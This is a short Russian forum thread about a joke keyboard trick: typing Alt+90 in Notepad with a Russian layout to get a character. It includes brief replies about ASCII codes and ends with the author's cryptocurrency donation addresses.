Открой блокнот, включи RU раскладку, зажми левый ALT, набери на цифровом блоке (numpad) 90, отпусти ALT. Только сидя это делай, возможен эффект мгновенного просвещения 😉
 
Открой блокнот, включи RU раскладку, зажми левый ALT, набери на цифровом блоке (numpad) 90, отпусти ALT. Только сидя это делай, возможен эффект мгновенного просвещения 😉
Вау! надеюсь что ответ в блокноте никак не связан с очень плохими действиями)))
 
Да хоть FR, это просто пример, я обломился добавлять раскладку ради скрина.
можно кодами набирать по ascii таблице)))
 
Донаты автору (для мотивации и материала для написания новых статей):

BTC: bc1qmku9gh5qxy2j8dh9c657rvum80a4cagx803j54

ETH: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151

USDT TRC20: TMeeM2prwn7pShvYNcwLCNKmNAM48BmqGc

USDT ERC20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151

BUSD BEP20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх